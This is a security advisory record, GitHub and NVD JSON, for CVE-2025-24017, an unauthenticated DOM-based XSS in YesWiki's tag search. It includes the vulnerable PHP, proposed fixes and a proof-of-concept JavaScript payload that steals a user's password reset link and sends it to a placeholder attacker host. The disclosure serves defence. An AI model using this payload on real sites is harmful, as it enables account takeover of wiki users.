Unauthenticated DOM Based XSS in YesWiki <= 4.4.5

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.4.5"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "yeswiki/yeswiki"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-24017"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-01-21T20:08:37Z",
    "nvd_published_at": "2025-01-21T16:15:15Z",
    "severity": "HIGH"
  },
  "details": "# Unauthenticated DOM Based XSS in YesWiki \u003c= 4.4.5\n\n### Summary\nIt is possible for any end-user to craft a DOM based XSS on all of YesWiki\u0027s pages which will be triggered when a user clicks on a malicious link.\n\nThis Proof of Concept has been performed using the followings:\n- YesWiki v4.4.5 (`doryphore-dev` branch, latest)\n- Docker environnment (`docker/docker-compose.yml`)\n- Docker v27.5.0\n- Default installation\n\n### Details\nThe vulnerability makes use of the search by tag feature. When a tag doesn\u0027t exist, the tag is reflected on the page and isn\u0027t properly sanitized on the server side which allows a malicious user to generate a link that will trigger an XSS on the client\u0027s side when clicked. \n\nThis part of the code is managed by `tools/tags/handlers/page/listpages.php`, and **[this piece of code](https://github.com/YesWiki/yeswiki/blob/doryphore-dev/tools/tags/handlers/page/listpages.php#L84)** is responsible for the vulnerability:\n\n```php\n$output .= \u0027\u003cdiv class=\"alert alert-info\"\u003e\u0027 . \"\\n\";\nif ($nb_total \u003e 1) {\n    $output .= _t(\u0027TAGS_TOTAL_NB_PAGES\u0027, [\u0027nb_total\u0027 =\u003e $nb_total]);\n} elseif ($nb_total == 1) {\n    $output .= _t(\u0027TAGS_ONE_PAGE_FOUND\u0027);\n} else {\n    $output .= _t(\u0027TAGS_NO_PAGE\u0027);\n}\n$output .= (!empty($tab_selected_tags) ? \u0027 \u0027 . _t(\u0027TAGS_WITH_KEYWORD\u0027) . \u0027 \u0027 . implode(\u0027 \u0027 . _t(\u0027TAGS_WITH_KEYWORD_SEPARATOR\u0027) . \u0027 \u0027, array_map(function ($tagName) {\n    return \u0027\u003cspan class=\"tag-label label label-info\"\u003e\u0027 . $tagName . \u0027\u003c/span\u003e\u0027;\n}, $tab_selected_tags)) : \u0027\u0027) . \u0027.\u0027;\n$output .= $this-\u003eFormat(\u0027{{rss tags=\"\u0027 . $tags . \u0027\" class=\"pull-right\"}}\u0027) . \"\\n\";\n$output .= \u0027\u003c/div\u003e\u0027 . \"\\n\" . $text;\n\necho $this-\u003eHeader();\necho \"\u003cdiv class=\\\"page\\\"\u003e\\n$output\\n$outputselecttag\\n\u003chr class=\\\"hr_clear\\\" /\u003e\\n\u003c/div\u003e\\n\";\necho $this-\u003eFooter();\n```\n\nThe tag names aren\u0027t properly sanitized when adding them to the page\u0027s response, thus when a tag name is user controlled, it allows client side code execution. This case describes a case where the tag name doesn\u0027t exist, but if an admin creates a malicious tag, it will also end up in XSS when rendered.\n\n### PoC\n#### 1. Simple XSS\nAbusing the `tags` parameter, we can successfully obtain client side javascript execution:\n\n![poc1](https://github.com/user-attachments/assets/cfd59dd6-ebda-4587-b903-d2777fc7d780)\n\n#### 2. Full account takeover scenario\nBy changing the payload of the XSS it was possible to establish a full acount takeover through a weak password recovery mechanism abuse ([CWE-460](https://cwe.mitre.org/data/definitions/640.html)). The following exploitation script allows an attacker to extract the password reset link of every logged in user that is triggered by the XSS:\n\n```javascript\nfetch(\u0027/?ParametresUtilisateur\u0027)\n  .then(response =\u003e {\n    return response.text();\n  })\n  .then(htmlString =\u003e {\n    const parser = new DOMParser();\n    const doc = parser.parseFromString(htmlString, \u0027text/html\u0027);\n    const resetLinkElement = doc.querySelector(\u0027.control-group .controls a\u0027); //dirty\n    fetch(\u0027http://attacker.lan:4444/?xss=\u0027.concat(btoa(resetLinkElement.href)));\n  })\n```\n\nHosting this script on a listener, when an admin is tricked into clicking on a maliciously crafted link, we can then reset its password and takeover their account.\n\n![poc2](https://github.com/user-attachments/assets/02884697-f0a5-43df-8bab-d83f8c9a102d)\n![poc3](https://github.com/user-attachments/assets/ef5b44f1-97bb-4cf1-a32b-471f8c672ebd)\n![poc4](https://github.com/user-attachments/assets/6a0193a2-1a01-4c65-bd97-f7c900f7f174)\n\n### Impact\nThis vulnerability allows any user to generate a malicious link that will trigger an account takeover when clicked, therefore allowing a user to steal other accounts, modify pages, comments, permissions, extract user data (emails), thus impacting the integrity, availabilty and confidentiality of a YesWiki instance.\n\n### Suggestion of possible corrective measures\n- Sanitize properly the tag names when created [here](https://github.com/YesWiki/yeswiki/blob/doryphore-dev/tools/tags/services/TagsManager.php#L60)\n\n```php\n        foreach ($tags as $tag) {\n            trim($tag);\n            if ($tag != \u0027\u0027) {\n                if (!$this-\u003etripleStore-\u003eexist($page, \u0027http://outils-reseaux.org/_vocabulary/tag\u0027, htmlspecialchars($tag), \u0027\u0027, \u0027\u0027)) {\n                    $this-\u003etripleStore-\u003ecreate($page, \u0027http://outils-reseaux.org/_vocabulary/tag\u0027, htmlspecialchars($tag), \u0027\u0027, \u0027\u0027);\n                }\n                //on supprime ce tag du tableau des tags restants a effacer\n                if (isset($tags_restants_a_effacer)) {\n                    unset($tags_restants_a_effacer[array_search($tag, $tags_restants_a_effacer)]);\n                }\n            }\n        }\n```\n\n- Sanitize the tag names when looked for [here](https://github.com/YesWiki/yeswiki/blob/doryphore-dev/tools/tags/handlers/page/listpages.php#L15)\n\n```php\n//$tags = (isset($_GET[\u0027tags\u0027])) ? $_GET[\u0027tags\u0027] : \u0027\u0027;\n$tags = (isset($_GET[\u0027tags\u0027])) ? htmlspecialchars($_GET[\u0027tags\u0027]) : \u0027\u0027;\n```\n\n- Implement a stronger password reset mechanism through:\n  + Not showing a password reset link to an already logged-in user. \n  + Generating a password reset link when a reset is requested by a user, and only send it by mail.\n  + Add an expiration/due date to the token\n\n- Implement a strong Content Security Policy to mitigate other XSS sinks (preferably using a random nonce)\n\u003e The latter idea is expensive to develop/implement, but given the number of likely sinks allowing Cross Site Scripting in the YesWiki source code, it seems necessary and easier than seeking for any improperly sanitized user input.",
  "id": "GHSA-wphc-5f2j-jhvg",
  "modified": "2025-01-21T20:08:37Z",
  "published": "2025-01-21T20:08:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-wphc-5f2j-jhvg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24017"
    },
    {
      "type": "WEB",
      "url": "https://github.com/YesWiki/yeswiki/commit/c1e28b59394957902c31c850219e4504a20db98b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/YesWiki/yeswiki"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Unauthenticated DOM Based XSS in YesWiki"
}

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:yeswiki:yeswiki:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "73A9706C-A5C2-4B1E-91E9-08C65D4B41C9",
              "versionEndExcluding": "4.5.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "YesWiki is a wiki system written in PHP. Versions up to and including 4.4.5 are vulnerable to any end-user crafting a DOM based XSS on all of YesWiki\u0027s pages which is triggered when a user clicks on a malicious link. The vulnerability makes use of the search by tag feature. When a tag doesn\u0027t exist, the tag is reflected on the page and isn\u0027t properly sanitized on the server side which allows a malicious user to generate a link that will trigger an XSS on the client\u0027s side when clicked. This vulnerability allows any user to generate a malicious link that will trigger an account takeover when clicked, therefore allowing a user to steal other accounts, modify pages, comments, permissions, extract user data (emails), thus impacting the integrity, availability and confidentiality of a YesWiki instance. Version 4.5.0 contains a patch for the issue."
    },
    {
      "lang": "es",
      "value": "YesWiki es una wiki sistema escrita en PHP. Las versiones hasta incluida 4.4.5 son vulnerables a que cualquier usuario final manipule un XSS basado en DOM en todas las p\u00e1ginas de YesWiki que se active cuando un usuario haga clic en un enlace malicioso. La vulnerabilidad hace uso de la funci\u00f3n de b\u00fasqueda por etiqueta. Cuando una etiqueta no existe, la etiqueta se refleja en la p\u00e1gina y no se desinfecta correctamente en el lado del servidor, lo que permite a un usuario malicioso generar un enlace que activar\u00e1 un XSS en el lado del cliente cuando se haga clic en \u00e9l. Esta vulnerabilidad permite a cualquier usuario generar un enlace malicioso que activar\u00e1 una apropiaci\u00f3n de cuenta cuando se haga clic en \u00e9l, lo que permite a un usuario robar otras cuentas, modificar p\u00e1ginas, comentarios, permisos, extraer datos de usuario (correos electr\u00f3nicos), lo que afecta la integridad, disponibilidad y confidencialidad de una instancia de YesWiki. La versi\u00f3n 4.5.0 contiene un parche para el problema."
    }
  ],
  "id": "CVE-2025-24017",
  "lastModified": "2025-05-09T14:05:15.500",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "LOW",
          "baseScore": 7.6,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "LOW",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 4.7,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.1,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 2.7,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ]
  },
  "published": "2025-01-21T16:15:15.087",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/YesWiki/yeswiki/commit/c1e28b59394957902c31c850219e4504a20db98b"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-wphc-5f2j-jhvg"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-79"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}